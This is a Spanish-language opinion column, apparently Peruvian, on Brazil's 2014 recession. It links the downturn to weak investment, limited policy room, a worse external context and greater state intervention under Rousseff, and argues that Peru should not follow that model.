Las malas noticias para Brasil no se acabaron con el Mundial de fútbol. La economía ahora se encuentra oficialmente en recesión luego de que el dato de crecimiento del segundo trimestre mostrara una contracción de 0.6% en comparación con el periodo anterior. Asimismo, el crecimiento durante el primer trimestre fue corregido a la baja, mostrando un declive de 0.2% en comparación con los últimos tres meses de 2013. De hecho, la actividad viene enfrentando problemas desde hace algún tiempo, pues durante el último año la economía ha tenido resultados negativos en tres de los últimos cuatro trimestres, la inflación supera el 6.0% y el déficit fiscal viene en aumento, con la brecha de julio último alcanzando USD 14.6 mil millones, su mayor nivel en más de cinco años.
En otras palabras, mientras que en julio pasado la ‘torcida’ sufría por las sendas goleadas propinadas por Alemania y Holanda, la economía perdía el ritmo del mismo modo que el equipo de Scolari. Brasil (tanto la economía como la selección de fútbol) ya no tiene alegría ni samba: sus problemas no son coyunturales sino más profundos, y salir de este bache puede tomar más de lo esperado.
Los problemas en el país vecino se resumen en tres aspectos. Primero, la capacidad para crecer del país es limitada debido al bajo dinamismo de la inversión. De acuerdo al ránking Doing Business elaborado por el Banco Mundial, el país se encuentra en el puesto 123 en el globo en lo que se refiere a facilidad para iniciar un negocio, puesto 80 en protección al inversionista y 135 en resolución de insolvencia. El país es poco atractivo para los inversionistas tanto locales e internacionales, lo cual impide que la capacidad de planta en el país se expanda a mayor ritmo.
Segundo, el país tiene una capacidad limitada para implementar políticas contracíclicas que compensen el deterioro y aceleren la recuperación. Por un lado, el deterioro de la posición fiscal no permite grandes impulsos en el gasto público más allá del elevado gasto que ya viene realizando el Estado en programas sociales. A esto se suma que la alta inflación no permite un mayor impulso monetario por parte del Banco Central, que ha tenido que elevar su tasa de interés de 8.0% a 11.0% a lo largo del último año para combatir el avance en los precios (pese a que la subida impacta negativamente al crecimiento.
Finalmente, el contexto externo ya no es favorable. La desaceleración china ha golpeado al sector externo brasilero, mientras que el alza en las tasas de mercado en EE.UU. ha reducido el acceso a fondos en el mercado internacional y generado volatilidad en el tipo de cambio. La economía brasilera, además, no parece estar preparada para adaptarse a este nuevo entorno: de acuerdo al Banco Mundial, el país se encuentra en el puesto 116 del mundo en términos de competitividad y 124 en apertura comercial.
Lo irónico de todo esto es que Brasil era un país cuyo modelo económico hace no mucho era propuesto como modelo a seguir por algunos políticos locales. Bajo la actual presidenta, Dilma Rousseff, el gobierno ha incrementado su intervención en la economía a niveles mucho mayores a los observados bajo el mandato de su antecesor, Lula da Silva: los bancos estatales han comenzado a generar mayor crédito de corte “social” para el consumo y han desplazado parcialmente a las entidades privadas, la carga del Estado a través de trámites ha elevado los costos de transacción para las empresas y el manejo de las empresas estatales ha puesto en riesgo su sostenibilidad.
¿Debe el Perú seguir este ejemplo? No. Nuestra economía es relativamente abierta, lo cual permite atraer mayor atracción extranjera que, junto a la privada, generan ganancias en productividad. Aunque existen varias vulnerabilidades en nuestro modelo económico, una mayor intervención del Estado en la actividad empresarial no sería positiva. Esto, sin mencionar que, bajo Rousseff, Brasil ha retrocedido en su calificación crediticia a la vez que la del Perú mejoraba. Por último, la implementación de programas sociales bajo el presidente Ollanta Humala, aunque positiva, debe ser cuidadosa de no exceder su rol transitorio y de emergencia, como parece ser el caso del país vecino, pues distorsiona el crecimiento de la productividad y corre el riesgo de convertirse en un instrumento de proselitismo político.
En un mes, Brasil tendrá elecciones presidenciales, y éstas no se ven bien para la presidenta Rousseff. Tal vez un cambio de timón permita adelantar el carnaval de febrero a octubre. La pelota está ahora en la cancha del elector brasilero.
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